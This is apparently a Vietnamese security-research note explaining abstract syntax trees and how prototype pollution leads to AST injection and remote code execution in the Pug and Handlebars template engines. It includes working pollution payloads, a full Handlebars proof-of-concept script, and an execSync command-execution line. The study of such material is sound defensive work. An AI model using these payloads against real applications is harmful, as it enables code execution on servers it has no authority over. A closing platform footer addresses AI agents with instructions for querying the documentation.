> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/security-research/abstract-syntax-tree-ast-injection.md).

# Abstract Syntax Tree - AST Injection

## AST là gì ?

AST (Abstract Syntax Tree) là một cấu trúc dữ liệu dạng cây được tạo ra sau bước phân tích cú pháp (`syntax analysis`) trong quá trình biên dịch hoặc thông dịch.

* Nó biểu diễn cấu trúc logic của chương trình dựa trên ngữ pháp của ngôn ngữ lập trình.
* AST loại bỏ chi tiết bề mặt (như dấu ngoặc, dấu chấm phẩy, comment), chỉ giữ lại thông tin cần thiết về câu lệnh, biểu thức, toán tử, biến, hàm…
* Trình biên dịch/ thông dịch sử dụng AST để phân tích, tối ưu và sinh mã máy hoặc bytecode.

![image](https://hackmd.io/_uploads/B1kpMWaolx.png)

Nói cách khác, AST là bản đồ trừu tượng mô tả chương trình dưới dạng cây, giúp máy tính hiểu và xử lý code mà con người viết.

VD :

```javascript
var name = "duc193" ;
```

Thì AST sẽ là :

```json
{
  "type": "Program", //Khai báo với node gốc là Program
  "start": 0,
  "end": 22,
  "body": [
    {
      "type": "VariableDeclaration",
      "start": 0,
      "end": 21,
      "declarations": [
        {
          "type": "VariableDeclarator",
          "start": 4,
          "end": 19,
          "id": {
            "type": "Identifier", 
            "start": 4,
            "end": 8,
            "name": "name"    // tên biến
          },
          "init": {
            "type": "Literal",
            "start": 11,
            "end": 19,
            "value": "duc193", // value của biến
            "raw": "\"duc193\"" // chuỗi raw lúc mình khai báo trong code.
          }
        }
      ],
      "kind": "var" // Nhận biết khai báo biến bằng var, let hoặc const
    }
  ],
  "sourceType": "module"
}
```

Các type bên trong :

* `VariableDeclaration` là định nghĩa câu lệnh khai báo biên (`var`,`let`,`const`)
* `VariableDeclarator` khai báo 1 biến cụ thể, với `id` và `init` (giá trị khởi tạo)
* `Identifier` thì sẽ biểu diễn tên của biến
* `Literal` biểu diễn giá trị

Trong quá khứ, các JS Engine như Rhino hay spidermonkey có các cách xây dựng AST khác nhau dẫn đến sự bất đồng bộ. Từ đó một common specification (hay standard) được tạo ra đó là ESTree

## AST Injection Pug :

Thì Pug là một template engine cho Nodejs. Các template có điểm chung là các giai đoạn :

```javascript
parse (tạo ra AST) -> Compile (code gen) -> runtime -> output.
```

{% hint style="info" %}
Thì `AST Injection` là lỗ hổng mà chúng ta có thể injection vào chuỗi AST, để khi compile nó sẽ gen đoạn mã malicious sau đó runtime thì sẽ bị execute mã độc.
{% endhint %}

Thường thì sẽ kết hợp với **prototype pollution** để injection vào.

Bắt đầu với Pug :&#x20;

Chúng ta có đoạn code như sau :

<figure><img src="https://hackmd.io/_uploads/HyRPMYpjel.png" alt=""><figcaption></figcaption></figure>

Sau khi check sơ qua thì đại khái đây là đoạn `code-gen` được giai đoạn Compile trả về.

<figure><img src="https://hackmd.io/_uploads/Sk91mKaolx.png" alt=""><figcaption></figcaption></figure>

Đoạn code này sau đó sẽ được runtime, vậy chúng ta thử tìm cách injection vào đoạn code này thử.

Giai đoạn Compile (Code-Gen) là giai đoạn dễ bị ảnh hưởng từ prototype pollution nhất. Vậy check thử đoạn compile :&#x20;

Nhảy vào compile Body :

<figure><img src="https://hackmd.io/_uploads/BkwyEYpjel.png" alt=""><figcaption></figcaption></figure>

Sau khi nhảy vào và F11 tìm sink thì thấy đoạn này

<figure><img src="https://hackmd.io/_uploads/HJq9SKTsee.png" alt=""><figcaption></figcaption></figure>

Vậy là code js sẽ được gen từ `GenerateCode`. Khi nhảy vô thì thấy nó sẽ khởi tạo 1 Class mới `Compiler` và dùng `compile()`

<figure><img src="https://hackmd.io/_uploads/B1e6Ltaolx.png" alt=""><figcaption></figcaption></figure>

Khi nhảy vô hàm compile thì có gọi đoạn này (hàm visit) &#x20;

<figure><img src="https://hackmd.io/_uploads/By3dOtpolx.png" alt=""><figcaption></figcaption></figure>

Khi F11 vô thì thấy chỉ có đoạn

```javascript
visit: function(node, parent) {
    ...
    if (debug && node.debug !== false && node.type !== 'Block') {
          if (node.line) {
            var js = ';pug_debug_line = ' + node.line;
            if (node.filename)
              js += ';pug_debug_filename = ' + stringify(node.filename);
            this.buf.push(js + ';');
          }
        }
}
```

là có add vào js, đoạn này là gen code nên chúng ta có thể tìm cách injection code từ đây.

&#x20;&#x20;

<figure><img src="https://hackmd.io/_uploads/SJNVKY6olx.png" alt=""><figcaption></figcaption></figure>

Và chúng ta cần tìm những chỗ call visit mà chúng ta có thể control `node`. ![image](https://hackmd.io/_uploads/rkSajYTjex.png)&#x20;

Thì tìm thấy đoạn này nó check `if (code.block)` giống đặc trưng của sink prototye pollution

Giờ thử cho pollution giá trị `__proto__.block` thử. Thì khi compile nó bị lỗi.

Tiến hành đào sâu vô để tìm chỗ bị lỗi

<figure><img src="https://hackmd.io/_uploads/rk22Kqaogx.png" alt=""><figcaption></figcaption></figure>

Thấy nó có tới đoạn này vì mình pollution nên giá trị này là true, nó sẽ nhảy vào hàm `walkAST`

<figure><img src="https://hackmd.io/_uploads/rJMW956jee.png" alt=""><figcaption></figcaption></figure>

Và sau đó nó nhảy vô hàm này

<figure><img src="https://hackmd.io/_uploads/Hk3O9q6sex.png" alt=""><figcaption></figcaption></figure>

Sau một hồi thì thấy nó nhảy ra lại `walkAST` &#x20;

<figure><img src="https://hackmd.io/_uploads/ByLBoqasll.png" alt=""><figcaption></figcaption></figure>

Vì không có `type` nên là trường hợp default nó sẽ quăng ra lỗi.&#x20;

<figure><img src="https://hackmd.io/_uploads/Bk8hic6ige.png" alt=""><figcaption></figcaption></figure>

Ở đây chúng ta có thể thấy case `Text`

<figure><img src="https://hackmd.io/_uploads/H1UZ2cajle.png" alt=""><figcaption></figcaption></figure>

nó sẽ break luôn. Không xử lí j, nên để tránh lỗi thì chúng ta cho type bằng `Text`

```javascript
Object.prototype.block = { "type": "Text" };
```

Sau đó nó đã nhảy tới :

<figure><img src="https://hackmd.io/_uploads/H18D3cToxg.png" alt=""><figcaption></figcaption></figure>

Sau khi nhảy vô hàm visit thì tới được đoạn sink của chúng ta, vì chúng ta chưa định nghĩa line lên nó bỏ qua đoạn code này.

<figure><img src="https://hackmd.io/_uploads/SJrg6c6jgx.png" alt=""><figcaption></figcaption></figure>

Thử test payload để add line vào :

```javascript
Object.prototype.block = { "type": "Text", "line": "console.log(12222121121221)" };
```

![](https://hackmd.io/_uploads/SJDW09psxg.png)

&#x20;

<figure><img src="https://hackmd.io/_uploads/SyGECcpoxx.png" alt=""><figcaption></figcaption></figure>

Done. Vậy là nó đã thực thi.

<figure><img src="https://hackmd.io/_uploads/SyMOMipjgg.png" alt=""><figcaption></figcaption></figure>

Vậy chỉ cần nhét payload vô là rce được r .

## PP2RCE Handlebars

```javascript
const handlebars = require('handlebars');
const template = `
  <h1>Hello, {{name}}!</h1>
`;

const compiledTemplate = handlebars.compile(template);

const data = { name: 'Duc' };
const html = compiledTemplate(data);

console.log(html);
```

Thì debug vào `compiledTemplate(data)`

<figure><img src="https://hackmd.io/_uploads/BkdRRjJngg.png" alt=""><figcaption></figcaption></figure>

Nó sẽ check `compiled` nếu k có thì run `compileInput()`. Nhảy vào thử thì thấy `ast` được gen ra từ `env.parse(input, options)`&#x20;

<figure><img src="https://hackmd.io/_uploads/Hk8MyhJ2xl.png" alt=""><figcaption></figcaption></figure>

Sau khi check thử thì thấy `templateSpec` có main là code javascript đã được compile.

![](https://hackmd.io/_uploads/HyzkUQx3eg.png)

&#x20;

<figure><img src="https://hackmd.io/_uploads/rJQRrmlhgl.png" alt=""><figcaption></figcaption></figure>

Vậy là phải pp vào 1 trong 3 func trên để có thể gen ra code javascript malicious.

Nhảy vào parse

<figure><img src="https://hackmd.io/_uploads/HkQ9Uml2ge.png" alt=""><figcaption></figcaption></figure>

Đoạn này có check `input.type === 'Program'` chúng ta có thể pp để return luôn input. Đoạn này sẽ check, nếu nó đã là AST rồi thì sẽ có `type` là `Program` và sẽ không parse nữa.

<figure><img src="https://hackmd.io/_uploads/ByGs8mx2xl.png" alt=""><figcaption></figcaption></figure>

K có thì parse ast đưa vào body :

<figure><img src="https://hackmd.io/_uploads/HyAB9mx3xe.png" alt=""><figcaption></figcaption></figure>

Nhảy vào trong accept :

![](https://hackmd.io/_uploads/rkgMnXg2ee.png)

<figure><img src="https://hackmd.io/_uploads/S1kP2mxhxe.png" alt=""><figcaption></figcaption></figure>

Nhảy vô hàm này thì nó sẽ qua `WhitespaceControl.prototype.Program` do type đang là Program.

<figure><img src="https://hackmd.io/_uploads/HJctnXg2le.png" alt=""><figcaption></figcaption></figure>

Và `program.body` cũng có thể bị prototype pollution gắn vô.

<figure><img src="https://hackmd.io/_uploads/BJdOpmgnxl.png" alt=""><figcaption></figcaption></figure>

Do `program` được truyền từ `ast` mà `ast` thì chúng ta có thể prototype pollution vào type là `Program` để làm cho nó return về bản thân nó trong lúc parse. Lúc này sẽ không có body nữa. Và chúng ta có thể truyền `body` bằng prototype pollution.

```javascript
const handlebars = require('handlebars');

const template = `
  <h1>Hello, {{name}}!</h1>
`;

Object.prototype.type = "Program"
Object.prototype.body = [{
  type: "ContentStatement",
  original: `1233`,
  value: `console.log(1245)`,
  loc: {
    source: undefined,
    start: {
      line: 2,
      column: 21,
    },
    end: {
      line: 3,
      column: 0,
    },
  },
}
]

const compiledTemplate = handlebars.compile(template);

const data = { name: 'Duc' };
const html = compiledTemplate(data);

console.log(html);
```

Thì nó gen code :

<figure><img src="https://hackmd.io/_uploads/SJfTfEgnge.png" alt=""><figcaption></figcaption></figure>

Mà nó in ra như vậy , vậy là chưa exec được, giờ tìm cách để gen ra code cứng luôn chứ ko ở trong nháy đơn nữa.

<figure><img src="https://hackmd.io/_uploads/Skug74g2ge.png" alt=""><figcaption></figcaption></figure>

Trong đoạn này, nó sẽ call `this[object.type](object)` để gắn vào ret. Có vẻ chỗ này chúng ta cần sửa để có thể gen-code theo ý mình.&#x20;

<figure><img src="https://hackmd.io/_uploads/ByPPmEl2gg.png" alt=""><figcaption></figcaption></figure>

Ở bài blog này có chỉ chúng ta gen ast.

<https://enoch.host/archives/Handlebars-AST-syntax-tree-injection-issue>

Đầu tiên chúng ta gen thử đoạn code này là parse xem ast như thế nào :

```javascript
const Handlebars = require("handlebars");
const input = "{{2}}";
const ast = Handlebars.parse(input);
console.log(JSON.stringify(ast));
```

```javascript
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "NumberLiteral",
        "value": 2,
        "original": 2,
        "loc": {
          "start": {
            "line": 1,
            "column": 2
          },
          "end": {
            "line": 1,
            "column": 3
          }
        }
      },
      "params": [],
      "escaped": true,
      "strip": {
        "open": false,
        "close": false
      },
      "loc": {
        "start": {
          "line": 1,
          "column": 0
        },
        "end": {
          "line": 1,
          "column": 5
        }
      }
    }
  ],
  "strip": {},
  "loc": {
    "start": {
      "line": 1,
      "column": 0
    },
    "end": {
      "line": 1,
      "column": 5
    }
  }
}
```

thì khi build javascript sẽ được code như sau : số 2 đã được escape.

```javascript
(function anonymous(container,depth0,helpers,partials,data
) {
  var helper, lookupProperty = container.lookupProperty || function(parent, propertyName) {
        if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
          return parent[propertyName];
        }
        return undefined
    };

  return container.escapeExpression(((helper = (helper = lookupProperty(helpers,"2") || (depth0 != null ? lookupProperty(depth0,"2") : depth0)) != null ? helper : container.hooks.helperMissing),(typeof helper === "function" ? helper.call(depth0 != null ? depth0 : (container.nullContext || {}),{"name":"2","hash":{},"data":data,"loc":{"start":{"line":1,"column":0},"end":{"line":1,"column":5}}}) : helper)));

})

```

Vậy chúng ta thử register helper sau đó call.

```javascript
const Handlebars = require("handlebars");
Handlebars.registerHelper('multiply', function (a, b) {
    return a * b;
});
const input = "{{multiply 2 2}}";
const ast = Handlebars.parse(input);
console.log(JSON.stringify(ast));

```

```json
{
  "type": "Program",
  "body": [
    {
      "type": "MustacheStatement",
      "path": {
        "type": "PathExpression",
        "data": false,
        "depth": 0,
        "parts": [
          "multiply"
        ],
        "original": "multiply",
        "loc": {
          "start": {
            "line": 1,
            "column": 2
          },
          "end": {
            "line": 1,
            "column": 10
          }
        }
      },
      "params": [
        {
          "type": "NumberLiteral",
          "value": 2,
          "original": 2,
          "loc": {
            "start": {
              "line": 1,
              "column": 11
            },
            "end": {
              "line": 1,
              "column": 12
            }
          }
        },
        {
          "type": "NumberLiteral",
          "value": 2,
          "original": 2,
          "loc": {
            "start": {
              "line": 1,
              "column": 13
            },
            "end": {
              "line": 1,
              "column": 14
            }
          }
        }
      ],
      "escaped": true,
      "strip": {
        "open": false,
        "close": false
      },
      "loc": {
        "start": {
          "line": 1,
          "column": 0
        },
        "end": {
          "line": 1,
          "column": 16
        }
      }
    }
  ],
  "strip": {},
  "loc": {
    "start": {
      "line": 1,
      "column": 0
    },
    "end": {
      "line": 1,
      "column": 16
    }
  }
}

```

Sau khi gen code js thì được

```javascript
(function anonymous(container,depth0,helpers,partials,data
) {
  var lookupProperty = container.lookupProperty || function(parent, propertyName) {
        if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
          return parent[propertyName];
        }
        return undefined
    };

  return container.escapeExpression((lookupProperty(helpers,"multiply")||(depth0 && lookupProperty(depth0,"multiply"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),2,2,{"name":"multiply","hash":{},"data":data,"loc":{"start":{"line":1,"column":0},"end":{"line":1,"column":16}}}));

})
```

Thì đoạn code này sẽ đi tìm helper `multiply` và gọi với `.call(depth0 != null ? depth0 : (container.nullContext || {}),2,2,...)`

Để ý thì số 2 đã được thoát ra ngoài. Vậy thì sẽ ra sao khi chúng ta truyền code js vào ?. Để test thì cần nhìn lại đoạn ast, nó gọi `original : multiply` với 2 params là `NumberLiteral` value : 2.

Thay thử value thành code js : `console.log(1234567890)` `templateSpec` khi này sẽ là :

```javascript
(function anonymous(container,depth0,helpers,partials,data
) {
  var lookupProperty = container.lookupProperty || function(parent, propertyName) {
        if (Object.prototype.hasOwnProperty.call(parent, propertyName)) {
          return parent[propertyName];
        }
        return undefined
    };

  return container.escapeExpression((lookupProperty(helpers,"multiply")||(depth0 && lookupProperty(depth0,"multiply"))||container.hooks.helperMissing).call(depth0 != null ? depth0 : (container.nullContext || {}),console.log(1234567890),2,{"name":"multiply","hash":{},"data":data,"loc":{"start":{"line":1,"column":0},"end":{"line":1,"column":16}}}));

})

```

Ta có thể thấy đoạn `console.log(1234567890)` đã được nhảy ra code Và sau khi runtime thì :

<figure><img src="https://hackmd.io/_uploads/SJpwmENhxe.png" alt=""><figcaption></figcaption></figure>

`process.mainModule.require("child_process").execSync("calc")`

![](https://hackmd.io/_uploads/SkIvNE4nlg.png)

## Reference&#x20;

* <https://hackmd.io/@CP04042K/rkPZgkAes>
* <https://rayepeng.medium.com/how-ast-injection-and-prototype-pollution-ignite-threats-abb165164a68>
* <https://rayepeng.net/AST-Injection--Prototype-pollution-to-RCE?locale=en>
* <https://xz.aliyun.com/news/12081>
* <https://solovvway.github.io/posts/ductf/du-theme-ast/>
* <https://ptr-yudai.hatenablog.com/entry/2022/09/04/230612>
* <https://dev.to/balapriya/abstract-syntax-tree-ast-explained-in-plain-english-1h38>
* <https://po6ix.github.io/AST-Injection/#Handlebars>
* <https://enoch.host/archives/Handlebars-AST-syntax-tree-injection-issue>
* <https://github.com/KTH-LangSec/server-side-prototype-pollution/tree/main>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/security-research/abstract-syntax-tree-ast-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
